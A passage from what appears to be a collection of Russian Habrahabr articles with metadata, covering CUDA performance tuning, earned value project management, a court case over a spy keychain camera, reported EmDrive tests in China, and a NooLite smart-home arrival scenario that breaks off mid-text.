207975.0 54868.2 Базовый оптимизация #1 750 19082.7 4736.8 15496.4 4082.3 Базовый оптимизация #2 750 3272.0 846.9 3093.8 812.7 Базовый оптимизация #2 1000 10204.4 2730.3 9781.6 2565.9 Базовый оптимизация #2 1250 25133.1 6515.3 23704.3 6244.1 Базовый оптимизация #2 1500 51940.1 14005.0 48717.5 12793.5 Видно что PGO смогло ускорить оптимизацию #1 на целых 18%, для остальных прирост оказался скромнее. Тут водятся драконы Забыл упомянуть забавную особенность. Сначала я искал первое решение, и поставил return сразу после printf. Так вот это снижало производительность на порядок. Когда стал искать все решения, то производительность резко скакнула вверх. __global__ void NaiveGPUKernel(const uint32_t N) { const int a = blockIdx.x + 1; const int b = threadIdx.x + blockIdx.y * blockDim.x + 1; if (b >= a) return; for (uint32_t c = 1; c < b; ++c) { for (uint32_t d = 1; d < c; ++d) { const uint64_t sum = gpu_powers[a] + gpu_powers[b] + gpu_powers[c] + gpu_powers[d]; const auto s = gpu_binary_search(N, sum); if (s > 0) { printf("%d %d %d %d %d\n", a, b, c, d, s); return; <- это дало замедление на порядок } } } } Что можно сделать еще Для CPU попробовать развернуть циклы, считать по два числа за раз, использовать векторные команды процессора. Для GPU поиграть с порядком вычислений, попробовать по-экономить на регистрах, лучше подобрать параметры блоков и потоков. Выводы 1. Писать на CUDA просто. 2. Без ухищрений, прямолинейный код на CUDA оказался быстрее CPU реализации в десятки раз. 3. В числодробильных задачах GPU сильно быстрее CPU за те же деньги. 4. GPU требуется много времени на «раскачку» и для совсем коротких задач ускорения может не быть. 5. Более сложный алгоритм может оказаться быстрее для CPU, но медленнее для GPU. 6. Профильная оптимизация хорошо ускоряет код и уменьшает размер файла одновременно. Исходники Традиционно можно потрогать код на GitHub
https://habrahabr.ru/post/318066/
habrahabr
Практическая интерпретация метода и показателей освоенного объёма
['метод освоенного объема', 'управление проектами', 'управление портфелем проектов']
1. Введение Методика освоенного объема (МОО) 1 2– технология обкатанная и, однозначно, эффективная. Однако, решившись ее применять, следует иметь в виду несколько явных и известных ограничений,...
1. Введение Методика освоенного объема (МОО) 1 2 – технология обкатанная и, однозначно, эффективная. Однако, решившись ее применять, следует иметь в виду несколько явных и известных ограничений, которые сильно снижают коэффициент ее полезности её КПД. Во-первых, применять МОО следует только после того, как прошла некоторая часть проекта (порядка 15%-20% 3 . Эта фора необходима для того, чтобы накопилась достаточная статистика по проделанной уже работе, и показателям, входящим в методику, таким как SPI/CPI, можно было бы смело доверять. Во-вторых, именно базовые показатели МОО не учитывают связанность проектов между собой и влияние форс-мажорных событий на результаты отслеживаемого проекта и будущих задач. Например, если ключевой разработчик внезапно заболел или неожиданно уехал по срочным делам – срываются сроки текущего проекта, а также сдвигаются сроки последующих работ, которые запланированы на него, но пока не мониторятся. В силу того, что плановые задачи находятся в категории «будущего», их показатели не измеряются. Тем не менее, случившийся сбой на них в перспективе тоже отразится. Именно поэтому, применяя МОО на практике, следует учитывать данные риски и снимать ограничения, которые были обозначены выше. Рассмотрим этот принцип на примере некоей ИТ-компании, занимающейся реализацией проектов в интересах заказчика. Понятно, что в одной короткой статье нельзя уместить весь спектр рисков, с которым сталкиваются в повседневной деятельности руководители проектов и производственных подразделений. Тем не менее, этот пример позволит узнать, как заранее разглядеть «грабли» заботливо разложенные реальностью, и обойти их, не сломав при этом производственные процессы. 2. Модель проектной деятельности ИТ-компании Рассмотрим компанию, проектное подразделение которой состоит для простоты из следующих департаментов: Отдел аналитиков и архитекторов; Два отдела разработки, каждый из которых развивает свой набор продуктов, использующихся в проектах компании; Отдел тестирования; Отдел внедрения. В портфеле компании N проектов, их количество определено объективно по принципу «сколько получится вести единовременно, не перегружая сотрудников». Определены сроки работы над каждым этапом проекта и длителность их реализации. Ресурсы отделов также привязаны к задачам в проектах. Проектный офис компании состоит как минимум из двух человек, каждый из которых отвечает за свою часть портфеля проектов. 3. Основные риски в реализации портфеля проектов Посмотрим на эту модель с позиции руководителя. Было бы логично задаться вопросом, какие проблемы могут возникнуть в процессе работы и что можно предпринять, чтобы их избежать. Бич почти всех проектных организаций – «вылет» из бюджета и заданных сроков исполнения. Что интересно, по большому счету отставания от заявленных дат и превышение бюджета происходят по вполне предсказуемым причинам: Первая причина: объем и стоимость работ в текущем проекте и в перспективе оцениваются по оптимистической модели, без учета возможных форс-мажоров или степени сложности конкретно (а не абстрактно) взятого проекта. Допустим, компания успешно завершила 10 проектов точно в срок 1 месяц. Одиннадцатый проект руководитель берет, устанавливая срок, аналогичный ранее выполненным. Если сложность проекта выше, или во время работы над ним случаются какие бы то ни было форс-мажоры, обозначенный срок будет сорван. Вторая причина: задержка финансирования внешних работ, от результатов которых зависит весь успех проекта. Третья причина: различные ресурсные конфликты (имеем ввиду все виды ресурсов, трудовые финансовые и т.п.). Четвертая причина: ошибки, вследствие которых часть ресурсов, предназначенных для осуществления проекта, безвозвратно теряется. Например, внезапно сократили бюджет или исполнителям требуется купить оборудование или оплатить работу третьих лиц, а те в свою очередь поднимают цену. Если один или несколько таких рисков срабатывают, заказчик и разработчик начинают срочно искать «наилучшее решение из наихудших», так как возникает нехватка ресурсов и цейтнот. Ситуация неэффективная, неприятная, и повторять ее никому не хочется. Тем не менее, она, скажем так, склонна к повторению, несмотря на все усилия руководителя по её предотвращению. 4. Смотрим на ситуацию с другой стороны В фильме «Кавказская пленница» прозвучала фраза, прекрасно характеризующая модель идентификации типичных ошибок: «Тот, кто нам мешает, тот нам и поможет». Соответственно во многих проектах можно заметить следующие общие особенности: На этапах планирования и анализа задач обычно оцениваются одни и те же сотрудники с одним и тем же уровнем компетенции, поэтому процент ошибок или вероятность «выпадения» из сроков можно заранее спрогнозировать, сделав его стабильным показателем; На этапах реализации над однотипными задачами люди в среднем работают стабильно, опять же, внося стабильную ошибку в планы работ; Ввиду того, что сотрудники специализированы по отделам, они выполняют задачи так же спланированные по аналогичным принципам. То есть, обобщая — сотрудники работают завтра примерно так же как работали сегодня (1) . Это утверждение, конечно, нуждается в проверке в каждом конкретном случае. Необходимо периодически сверять плановые и фактические сроки выполнения задач, а также объемы работ, приходящихся на каждый отдел. В случае, если отношение плана к факту стабильно, то данной гипотезой можно пользоваться. Вторая, но не менее важная часть, помогает построить цельную систему управления проектами -единая картина будущего для всех проектов, что позволит существенно сократить время на обсуждение проекта и количество разногласий. Особенно это актуально в ситуациях, связанных с ресурсными конфликтами. Достигается согласие тем, что: оценка состояния как отдельного проекта, так и всего портфеля в целом возлагается на автоматизированную систему, которая использует исходные данные, внесенные сотрудниками. На основании этих данных формируется прогноз (2) . При этом используются показатели освоенного объема. Например, как отображено на рисунке ниже. — плановые задачи, — прогнозные задачи, — плановый платёж, — прогнозный платёж. Следующий момент, который позволяет спрогнозировать заранее потенциальные проблемы, это понимание связанности задач, выполняемых в процессе работы. То есть, руководитель должен понимать, что если та или иная задача может потребовать больше времени и ресурсов для реализации, то идущие вслед за ней автоматически попадают под риски перепланирования или нехватки ресурсов. 5. Собственно о применении методики освоенного объема Теперь переходим от абстрактных измышлений к практическому применению методики. Для этого надо решить следующие задачи: Описать основные риски, для предотвращения последствий которых можно использовать методику освоенного объема; Сформулировать саму методику и алгоритмы ее применения в пригодном для использования виде. Основными рисками являются: Ресурсные конфликты, возникающие по причине того, что на какой либо ресурс в одно и то же время претендуют два или более проектов. Риски нехватки ресурсов в запланированное время: трудовых, финансовых и т.д. Проект может столкнуться с задержкой поставки товаров или услуг, необходимых для реализации поставленной задачи. Риск недоиспользования ресурсов, например, если зарплата выплачивается вне зависимости от результатов или без привязки к соблюдению сроков проекта. Как идентифицировать эти риски и помочь компании избежать их? Во-первых, необходимо оценить ситуацию в перспективе, а не только на день грядущий. Представить, что проблема теоретически может возникнуть, а во-вторых, понять, какие действия необходимы, чтобы данная негативная ситуация не наступила. Именно для идентификации рисков наиболее удобно пользоваться методикой освоенного объема. На практике руководитель проекта должен иметь инструментарий для контроля и управления рисками проектной деятельности. Перечислим основные пункты в списке инструментов такого контроля. 5.1 Обеспеченность проекта финансовыми ресурсами Оценивается на основании прогнозных значений по графику платежей. В качестве оценочного срока берется период от текущего времени до прогнозного времени завершения проекта. Задача – просмотреть график плановых платежей и сравнить его с реальным прогнозом по оплатам. При прогнозировании проверяется достаточность бюджета проекта для его успешной реализации в случае задержек очередных плановых платежей, а также размеры переноса средств между периодами. Кроме прочего, на перспективу необходимо оценить остаток средств в бюджете после окончания реализации проекта. 5.2 Обеспеченность проекта трудовыми ресурсами Оценивается на основании прогноза потребностей проекта в трудовых ресурсах в тот же период (от текущего времени до прогнозного времени завершения проекта). При оценке проводится наложение прогнозной нагрузки на ресурсный пул а время, необходимое для реализации запланированных задач. Если по какому либо из пулов ресурсов наблюдается перегрузка, ее необходимо продемонстрировать менеджеру проекта. Задача на этом этапе – перепланировать задачи, не взятые в работу по принципу FIFO. При этом необходимо, чтобы прогнозируемый срок исполнения соответствовал запланированному ранее сроку окончания работ. Соответственно, если по какому-либо из ресурсных пулов идентифицируется потенциальная недозагрузка, руководитель проекта может автоматически выровнять нагрузку по принципу FIFO. В случаях невозможности применения автоматизированного разрешения коллизии руководителям проектов предлагается совместно осуществить перепланирование нагрузки на ресурсный пул. 6 Практическое использование показателей Для отдельных проектов и для комплексного портфеля необходимо построить систему отчетности, которая позволит оценивать состояние текущих дел и работы компании в целом. Менеджерам проектов будет гораздо легче управлять рисками, связанными с трудовыми и финансовыми ресурсами. 6.1 Оценка состояния проекта В предположении, что проект большую часть времени идёт нормально, оптимально будет показать состояние проекта через оценку объёма его выполнения и прогнозные ситуации, которые могут негативно повлиять на его своевременное окончание с соответствующими цветовыми маркерами, указывающими на степень негативного влияния на окончание проекта. 6.2 Оценка состояния портфеля Проще всего визуализируется в виде панели, основная идея которой позаимствована в projectprofiler 4 , на которой выделено общее состояние портфеля и сводная информация по каждому из проектов. Для расчета положения проекта в системе координат SPI-CPI (где SPI – ось X, а CPI – ось Y) вычисляются соответствующие значения по формулам раздела 7. 6.3 Управление рисками, связанными с финансовыми ресурсами Принципы оперативного управления финансовыми ресурсами: Принцип 1. «Высвобождение неиспользованных средств». Необходимо периодически оценивать возможности по наличию неиспользованного объёма финансов при условии полного завершения работ по задаче и предлагать менеджерам проектов завершать такие и уточнять реально потраченные средства, отметив оставшиеся как доступные, которые, например, можно использовать для ускорения решения каких-либо иных задач по текущему или другим проектам. Это достигается через построение отчёта о достаточность бюджета в проекте/портфеле в периоде t+i  — t -текущее время, i — кол-во кварталов — рассчитывается на уровне проекта как разница между суммой обязательств к заданной дате оплаты и графиком платежей к соответствующей дате по соответствующей статье. При этом: в случае, если отклонение (прогноз – план) по сумме на конец текущего планового периода находится в пределах (10-15%), а на конец следующего планового периода находится в пределах (15-25%), то руководителям соответствующих проектов предлагается скорректировать план проекта таким образом, чтобы вернуть прогнозное значение в приемлемые рамки. в случае, если отклонение (прогноз – план) превышает указанные выше значения — решение одним менеджером скорее всего не получится и к решению подключаются все, кого данное решение может затронуть. Принцип 2 «Контроль дефицита». Необходимо анализировать освоенный объем по задачам и прогнозировать нехватку финансов в количественном и временном измерениях, на основании которого предлагать менеджерам проектов предпринять какие-либо действия для экономии или инициировать изменения в проекте (сознаться). Анализ производится при помощи сравнения остатка лимита по статье с прогнозируемой суммой расхода по данной статье на дату окончания рассчитываемого периода планирования. Прогнозная сумма расхода по статье рассчитывается как прогнозное значение освоенного объёма по соответствующей статье на дату окончания периода планирования с учётом всех прогнозных значений необходимых расходов, значений курсов валют, ставок на работы поставщиков и графиков платежей. При этом: в случае, если отклонение (прогноз – план) по сумме на конец текущего планового периода находится в пределах — (10-15%), а на конец следующего планового периода находится в пределах — (15-25%), то руководителям соответствующих проектов предлагается скорректировать план проекта таким образом, чтобы вернуть прогнозное значение в приемлемые рамки, либо зафиксировать потенциальную экономию в соответствующем периоде; в случае если на момент совершения платежа фиксируется отклонение (план – факт>0) или отклонение (прогноз – план) по сумме на конец текущего планового периода выходит за рамки указные выше, то данное отклонение автоматически помечается как экономия по соответствующей статье расходов. 6.4. Управление рисками связанными с трудовыми ресурсами Принципы оперативного управления трудовыми ресурсами: Принцип 1 «Выравнивание загрузки». Периодически оцениваются возможности по переносу сроков задач (участки с прогнозным наличием свободных ресурсов), по одному пулу ресурсов так, чтобы одна задача, приходящаяся на данный пул, начиналась сразу после окончания предыдущей следующим образом: при начальном планировании задач проекта задачи выравниваются по плановому и фактическому окончанию работ, при этом в случае возникновения ресурсного конфликта: — если крайние сроки завершения задачи с учётом перепланирования без использования принципа №2 укладываются в плановые сроки завершения проекта, то задача назначается на новые сроки и они отражаются в WBS; — если крайние сроки завершения задачи с учётом перепланирования без использования принципа №2 не позволяют завершить проект в запланированные сроки, то в WBS отражается результат решения ресурсного конфликта с участием менеджеров проектов. в случае, если какая-либо из задач по прогнозу завершается ранее запланированного срока, то исполнителю автоматически назначается ближайшая по очереди задача, что отражается в WBS. Принцип 2 «Переработки». Предполагаем, что без существенного ущерба для здоровья, сотрудники могут кратковременно перерабатывать в пределах дополнительно 2 часа в день и 3 из 4 пар выходных дней в месяц (по 10 часов). Соответственно договорённости между руководителями проектов производственных отделов по проектам должны основываться на следующих принципах: минимизация взаимного влияния на WBS проектов; справедливое возмещение за использование ресурсов. Например «проекту 1» необходимо для возврата в расписание ЦИЫ найти 90ч/ч. Для решения этой задачи он обращается к «проекту 2», в котором все ресурсы нормально распланированы и нет опозданий. Тогда «Проекту1» необходимо будет дополнительно оплатить: ресурсам 124ч/ч по стандартной ставке, что складывается из 56 ч/ч (7 рабочих дней) по стандартной ставке и (20_выходные + 14_переработки в рабочий день)=34 ч/ч по двойной ставке; «Проекту 2» 88ч/ч по стандартной ставке для компенсации 44 ч/ч переработок в рабочие дни и работы в выходные. Принцип 3 «Временное расширение пула ресурсов». Необходимо оценивать возможности по сокращению сроков задач, при фиксированной трудоёмкости (ресурсы с малой загрузкой не период задачи), по одному пулу ресурсов так, чтобы одна задача, приходящаяся на данный пул могла быть реализована за более короткий срок с отражением результатов по таким задач в WBS. Принцип 4 «Высвобождение незанятых ресурсов». Необходимо оценивать возможности по высвобождению трудовых ресурсов при условии полного завершения работ по задаче и помечать найденные таким образом ресурсы как свободные в плане проекта. Принцип 5 «Фиксация объективной просрочки». Необходимо оценивать вероятность просрочки по связанным задачам и при её нахождении предлагать либо перепланировать задачи, либо обменять ресурсы между двумя задачами, если это возможно, скоммуницировав двух менеджеров проектов. 7. Скорректированная методика расчёта освоенного объёма 7.1. Исходные данные Для расчета показателей освоенного объёма требуются следующие данные: Бюджет проекта: лимиты по статьям и периодам планирования; Календарно-ресурсный план (WBS); Текущие и прогнозные курсы валют (на случай, если приобретаются товары или работы зарубежных компаний) ; Данные по задачам проектов: плановые и фактические сроки окончания задач, списания, а также привязка платежей к задачам WBS; Ресурсные пулы % их выделения по периодам (для трудовых ресурсов — трудомощность). 7.2. Прогнозные значения В случае, если основные гипотезы (1) о стабильности работы сотрудников (скорее о стабильности распределения ошибки планирования) находит подтверждение в результате проверки статистики, (2) удалось договориться о единой картине мира, то ничего не мешает переходить к прогнозированию использования трудовых ресурсов, корректируя плановую длительность задачи в зависимости от показателей план/факт ресурсов привлечённых к её реализации. А именно: 7.2.1. Прогнозная длительность задачи проекта в WBS С номером k в проекте с номером — рассчитывается на основании списаний, отражающих фактическую длительность выполнения работ по данному пулу ресурсов в т.ч. и в других проектах (что корректно, т.к. ошибка оценки навряд ли будет меняться при оценке сотрудниками одной и той же команды). Расчёт производится путём предварительного вычисления прогнозных значений по незакрытым задачам в разрезе задействованных ресурсных пулов ( i ): где – коэффициент факт/план определяемый следующим образом: здесь q=0,..,3 – количество кварталов на которые делается прогноз относительно текущего периода, при этом для просроченных задач q=0 , а — усреднённая за последние 3 месяца оценка по всем задачам в которых участвует i -й ресурсный пул. По закрытым задачам . То есть: если возможна оценка на основании актуальных данных по текущей задаче – берётся она, в случае отсутствия актуальных данных — усреднённая оценка на основании данных за три месяца, при отсутствии данных считается, что прогноз тождественен плану. Прогнозное окончание задачи целом будет рассчитываться как где i -ресурсные пулы задействованные в реализации задачи. В случае, если задача выполнена полностью, то прогнозное время закрытия совпадает с фактическим: Таким образом, для каждого момента времени определены прогнозные сроки окончания каждой из задач WBS. 7.2.2. Прогнозный срок завершения проекта Рассчитывается на основе текущей WBS на основании прогнозных сроков завершения задач , использующихся вместо плановых значений : . 7.2.3. Прогнозное значение освоенного объёма В проекте с номером k в момент времени t — строится на основе сравнения фактического/прогнозного прогресса в реализации задач данного проекта с плановым. Расчёт производится путём предварительного вычисления прогнозных значений объёма по проекту , где отражает трудозатраты по проекту k фактически понесённые или прогнозируемые к моменту времени t ориентируясь на прогнозные сроки завершения задач см. пп. 7.2.1 и 7.2.2 ). Соответственно плановое значение объёма по проекту к моменту времени будет рассчитываться в виде , где отражает плановые трудозатраты по проекту к моменту времени. Соответственно значение освоенного объёма (SPI): . 7.2.4. Прогнозное значение динамики освоения затрат В проекте с номером k в момент времени t — строится на основе сравнения фактического/прогнозного прогресса в исполнении графика платежей, данного проекта с плановым. Расчёт производится путём предварительного вычисления прогнозных значений затрат по проекту понесённых к моменту времени t : , где отражает затраты по проекту k фактически понесённые или прогнозируемые к моменту времени t , с учётом прогнозного значения курсов валют к этому моменту, на основании прогнозных сроков завершения задач см. пп. 7.2.1 и 7.2.2 ). Соответственно плановое значение затрат по проекту k к моменту времени t будет рассчитываться в виде: , где отражает плановые затраты по проекту k к моменту времени t , с учётом прогнозного значения курсов валют к этому моменту. Соответственно значение динамики освоение затрат объёма (CPI): Написано в сотрудничестве с Ревазом Бухрадзе.
https://habrahabr.ru/post/318154/
habrahabr
Москвич получил реальный срок за перепродажу «шпионского» брелка со встроенной камерой
['Суд', 'приговоры', 'скрытое наблюдение', 'брелок', 'срок']
В Басманном районном суде города Москвы сегодня прошло последнее слушание по делу байкера Алексея Соколова, который обвинялся в перепродаже шпионского устройства, замаскированного под брелок....
В Басманном районном суде города Москвы сегодня прошло последнее слушание по делу байкера Алексея Соколова, который обвинялся в перепродаже шпионского устройства, замаскированного под брелок. Данное действие регулируется ст. 138.1 УК РФ «Незаконный оборот специальных технических средств, предназначенных для негласного получения информации» и предусматривает наказание в виде штрафа от 200 тыс. рублей, либо ограничением или лишением свободы на срок до четырех лет. Решение суда должно было быть оглашено сегодня в 12:00 по МСК. Информации об итогах рассмотрения дела на сайте Басманного районного суда до сих пор нет, но известно, что мужчина был приговорен к четырем месяцам тюремного заключения. Казус заключается в том, что «шпионский» брелок был куплен Соколовым на Aliexpress для личного пользования в качестве дешевого мини-регистратора, который байкер планировал закрепить на шлеме или на руле мотоцикла. Вполне очевидный выбор для женатого человека, который воспитывает троих детей и ищет альтернативу дорогостоящим инструментами на подобие GoPro. По словам супруги Соколова, ее мужа не устроило качество видео и брелок отправился в ящик. В декабре 2015 года с деньгами в семье стало трудно и Алексей решил продать «игрушку» на «Авито» за 1500 рублей, чтобы выручить хоть что-нибудь. Первыми покупателями брелка оказались оперативники. Теперь Алексей Соколов получил реальный срок за свободно привезенный в страну китайский брелок со встроенной камерой. При этом подсудимый имеет отличные характеристики от родственников, коллег, друзей и знакомых. Вместе со своим байкерским клубом Соколов посещал детские дома, собирал игрушки и шефствовал над детским домом «Солнышко» в подмосковном Троицке, оказывая посильную помощь учреждению. Собеседник издания «Коммерсантъ», руководитель международной правозащитной группы «Агора» Павел Чиков так прокомментировал суд над Соколовым: По моим ощущениям, количество приговоров по ст. 138.1 растет, отработана методика привлечения к ответственности. Суды штампуют приговоры, но, как правило, наказание не связано с лишением свободы, так как это не тяжкое преступление. Люди, как правило, заказывают подобное «шпионское» оборудование по интернету, а на почте их встречают сотрудники ФСБ, затем проводится экспертиза, изъятое оборудование признается шпионским — и все, суд. Супруга Алексея еще на прошлых заседаниях опасалась, что ее мужа приговорят к реальному сроку. Ранее по состоянию здоровья (обострение межпозвоночной грыжи) он оказался в больнице и не смог явиться к следователю летом этого года. Отправленное по факсу сообщение последний проигнорировал и объявил Соколова в розыск. В августе байкера задержали в здании суда, куда он сам пришел жаловаться на действия следствия. С тех пор он находился в СИЗО. Ситуация осложняется тем, что органы правопорядка и ФСБ никак не препятствуют ввозу «шпионского» оборудования, отслеживая покупателей пост-фактум и привлекая тех к ответственности по сравнительно недавно введенной в УК статье 138 (введена Федеральным законом от 07.12.2011 N 420-ФЗ). При этом единственным критерием для попадания под эту статью является производство, приобретение или сбыт технических устройств, предназначенных для негласного получения информации. При этом ФЗ не учитывает, что подобные устройства находятся в свободном доступе в интернет-магазинах и без проблем доставляются по почте.
https://geektimes.ru/post/283912/
habrahabr
Китай тестирует EmDrive в космосе, сообщают СМИ
['emdrive', 'невозможный двигатель', 'китай', 'космос', 'двигатель', 'фантастика']
Думаю очень многие на этом сайте читали про EmDrive, двигатель, который нарушает известные нам законы физики, но продолжает якобы работать в лабораториях и в космосе (?). Поэтому длинного...
Думаю очень многие на этом сайте читали про EmDrive, двигатель, который нарушает известные нам законы физики, но продолжает якобы работать в лабораториях и в космосе (?). Поэтому длинного предисловия не будет. Доктор Чен Юи (Chen Yue), директор одного из подразделений, ответственного за коммерциализацию космических спутников из Китайской Академии Космических Технологий (CAST) на пресс-конференции, которая прошла 10 декабря 2016 года, сказал что Китай не только провел успешные тест в лабораториях, но и проверяет работу двигателя в космосе, на станции Тяньгун-2. Причем International Business Times уже публиковал 7 ноября новость, о том, что Китай тестирует EmDrive в космосе. Однако тогда источником был некий анонимный источник не внушающий доверия. Прессе также была представлена презентация Ли Фенга (Li Feng), который является главным конструктором этого подразделения. Он подробно описал о различных проблемах, которые необходимо решить, перед тем как технология будет применима в космосе на реальных аппаратах. Ли объяснил, что прототип, который они используют, генерирует только миллиньютоны тяги, однако требуется от 100 миллиньютон до 1 ньютона, чтобы удержать спутник на орбите. Для этого они собираются улучшить форму полости и уменьшить электрические потери материала из которого она сделана. Существуют также и другие проблемы, например связанные с тем, куда именно поставить двигатель на теоретический спутник, так как это также влияет на силу тяги и температуру. Ли сказал, что Академия применяет свой опыт в области проектирования спутников, чтобы убедится, что EmDrive работает должным образом. С этой целью их подразделение на данный момент исследует, как улучшить структуру спутника, как улучшить его контроль над температурой и даже изучает научную сторону вопроса. «Технология на данный момент находится на последних стадиях фазы proof-of-concept с целью сделать её доступной для применения в космических спутниках как можно скорее,» — сказал Ли Фенг. «Несмотря на сложность, я думаю мы добьемся успеха». P.S. Перевожу статьи нечасто, так что наверняка допустил неточности перевода, буду рад любым исправлениям. Источник
https://geektimes.ru/post/283916/
habrahabr
Умный дом NooLite. Сценарий №1 — «Хозяин дома»
['умный дом', 'noolite', 'ноотехника', 'simple event correlator', 'sec']
Доброго дня, уважаемое сообщество. Сегодня хочу поделиться с Вами опытом построения умного с использованием оборудования компании НооТехника, а если точнее, то реализации сценария «Хозяин дома»....
Доброго дня, уважаемое сообщество. Сегодня хочу поделиться с Вами опытом построения умного с использованием оборудования компании НооТехника, а если точнее, то реализации сценария «Хозяин дома». Что я под этим понимаю? Запуск особого «сценария», в момент прихода домой «хозяина». Под хозяином в данном случае понимаю самого себя, а сценарий состоит из включения источников света в зоне прихожей и декоративного освещения в других комнатах. В качестве аппаратного обеспечения умного дома я выбрал оборудование компании Ноотехника . Те, кто уже знаком с устройствами от Ноотехника и хочет сразу перейти к описанию реализации сценария, могут смело скроллить к разделу 2. Всем остальным предлагаю ознакомиться с кратким вступлением, дающим общее представление об устройстве умного дома от Ноотехника. 1. Вступление В качестве аппаратного обеспечения моего умного дома я уже несколько лет использую оборудование компании Ноотехника. Ассортимент устройств достаточно широк для построения умного дома в рамках городской квартиры и постоянно расширяется. На данный момент имеются радио-выключатели разных конфигураций, силовые блоки – для подключения источников света и электроприборов, датчики движения, влажности и температуры, а также передатчики и приемники команд (для подключения к компьютеру). Есть еще т.н. Ethernet-шлюз, который также можно использовать для централизованного управления устройствами умного дома от компании Ноотехника. На данный момент в своем умном доме я использую несколько 3-х кнопочных выключателей, порядка 10 силовых блоков, 2 датчика движения, а также передатчик сигналов (модели PC1116) силовым блокам и приемник (модели RX2164) сигналов от датчиков и выключателей. В качестве элемента управления умным домом использую неттоп 3VI на базе процессора Intel ATOM D525 с ОС Debian 7 на борту. К нему подключены приемник и передатчик. В качестве программного обеспечения для управления умным домом использую набор утилит под Linux от Олега Артамонова, который доступен на GitHub — github.com/olegart/noolite . Также на неттопе поднят веб-сервер и самописный веб-интерфейс для общения с устройствами умного дома. Перед началом описания реализации сценария, пару слов о самих устройствах и что для чего предназначено: Силовые блоки (бывают разные, для поддержки различных нагрузок, начиная от 200 Вт и заканчивая несколькими КВт). Подключаются к сети переменного тока и предназначены для управления электроприборами (подключаются «в разрыв» между сетью и электроприбором); Радио-выключатели. Предназначены для: — отправки команд включения, выключения, изменения нагрузки (диммирования) на силовые блоки, — отправки команд на приемник RX2164 (подключенный к ПК); Датчики движения, температуры, влажности. Предназначены для отправки команд на силовые блоки или на приемник; Приемник сигналов RX2164. Предназначен для приема сигналов от датчиков или выключателей; Передатчик сигналов PC1116. Предназначен для отправки управляющих сигналов на силовые блоки. Пример общей схемы взаимодействия компонентов приведен на рисунке 1. Рисунок 1 – Общая схема взаимодействия компонентов На этом вступление и изложение общей информации о компонентах умного дома от Ноотехника заканчиваю. Исчерпывающие данные можно получить на офф.сайте Ноотехника . Далее перехожу к описанию сценария и его реализации. 2. Постановка задачи Необходимо реализовать включение источников света в зоне прихожей, а также декоративных источников света в зале и коридоре в момент, когда хозяин (т.е. ваш покорный слуга) возвращается домой. На данном этапе хочу отметить несколько моментов, на которые необходимо обратить внимание на этапе решения задачи: Необходимо идентифицировать пришедшего (что это именно хозяин); Необходимо убедиться, что хозяин ПРИШЕЛ, а не просто оказался возле двери (например, чтобы проверить заперт ли замок); Необходимо убедиться, что хозяин ПРИШЕЛ, а не просто вышел из дома на пару минут и вернулся (встретить курьера, открыть дверь в тамбуре и т.п.). 3. Описание решения Для решения задачи №1 было решено использовать смартфон хозяина как его (хозяина) идентификатор. Т.е. если смартфон подключен к домашнему WiFi-роутеру, значит хозяин дома. На DHCP-сервере роутера создана статическая запись соответствия IP-адреса МАС-адресу смартфона. Таким образом, смартфон всегда появляется в сети с одним и тем же IP-адресом. Для решения задачи №2 используются два датчика движения Ноотехника модели РМ112 и приемник сигналов RX2164. Один из них установлен перед входной дверью в квартиру в тамбуре. Второй установлен внутри квартиры, прямо возле входной двери. Идея состоит в том, чтобы идентифицировать событие прихода в квартиру по последовательному срабатыванию датчиков в тамбуре и в квартире. Описание решения данной подзадачи приведено в разделе 4. Для решения задачи №3 используется скрипт – «генератор статуса» (см. рисунок 3), который проверяет подключение смартфона хозяина к WiFi-роутеру каждую минуту и записывает текущий статус в файл. Логику в скрипте я настроил таким образом, чтобы он НЕ генерировал событие прихода домой хозяина, если время его отсутствия составляет менее 20 минут (например, если хозяин вышел на пару минут). Конечно, этот порог можно настроить как угодно. Описание решения данной подзадачи приведено в разделе 5. Кроме этого, необходимо нечто, что сможет связать все события с датчиков, и запустить скрипт, который в свою очередь проверит статус и в случае выполнения условий (т.е. прихода хозяина домой) включит источники света. Для решения данной задачи я выбрал программное обеспечение Simple Event Correlator , работающее под Linux и свободно распространяемое. Написал в дополнение к нему скрипт – «проверщик подключения смартфона» (см. рисунок 3). Описание решения данной подзадачи приведено в разделе 6. Датчики движения РМ112 я установил как показано на рисунке 2. Рисунок 2 – Схема расстановки датчиков движения РМ112 Места для установки датчиков, а также их чувствительность выбирались и настраивались таким образом, чтобы исключить ложные срабатывания. Далее кратко опишу схему взаимодействия всех компонентов решения. Приемник сигналов от датчиков Noolite подключен к неттопу (далее – ПК, см. рисунок 1). На ПК настроена запись сообщений, получаемых от датчиков, в лог файл в режиме реального времени (см. рисунок 3). Simple Event Correlator (далее — SEC) работает на ПК и читает лог файл (в который приходят события с датчиков). В SEC настроено правило, которое срабатывает в случае получения сигналов о наличии движения от датчика 1 (см. рисунок 2) и в течение не более чем 60 секунд следом за ним сигнала о наличии движения от датчика 2 (см. рисунок 2). При срабатывании этого правила запускается скрипт — проверщик, который проверяет статус хозяйского смартфона, читая информацию из файла статуса а также выполняя самостоятельные проверки (для уменьшения ложных срабатываний). В случае регистрации скриптом факта прихода хозяина домой, выполняется запуск сценарной программы включения света. Также необходимо упомянуть о скрипте – генераторе статуса. Этот скрипт ежеминутно проверяет статус смартфона хозяина вне зависимости дома хозяин или нет и запускает внутренние счетчики в случае его (статуса) изменения. Одним словом – отслеживает статус смартфона. Схема, поясняющая вышесказанное, приведена на рисунке 3. Рисунок 3 – Блок-схема взаимодействия компонентов системы 4. Идентификация события прихода домой В этом разделе я рассмотрю вопросы подключения и настройки датчиков движения PM112, а также настройки утилиты управления приемником RX2164. Места для установки датчиков, а также их чувствительность выбирались и настраивались таким образом, чтобы исключить ложные срабатывания. Датчик №1 я установил над тумбой для обуви (см. рисунок 4) и настроил чувствительность так, чтобы он реагировал на движение на расстоянии около 50 см. (этому соответствует положение регулятора «чувствительность», как на рисунке 5 – чуть больше половины хода регулятора). Если сделать чувствительность больше – может реагировать на проходящих мимо соседей, а если засунуть под тумбу, то банально его могут заставить обувью домочадцы. Настройку освещенности установил в положение «Вкл» — крайнее нижнее. Хотя другие настройки освещенности обеспечивают энергосбережение (работает-то от батареек), но при других настройках освещенности мне не удалось добиться стабильного срабатывания. Скорее всего тому виной не очень обильное освещение в местах установки датчиков. Время включения я установил на 5 секунд. Для меня этот параметр не очень важен, т.к. мои датчики привязаны к приемнику, подключенному к ПК и мне нужно получать только события регистрации движения в зоне работы датчика. Второй датчик я установил над входной дверью со стороны квартиры (см. рисунок 6). Входная дверь находится в небольшой нише, поэтому над ней есть очень удобное место для закрепления датчика. Крепил на саморезы. Порог 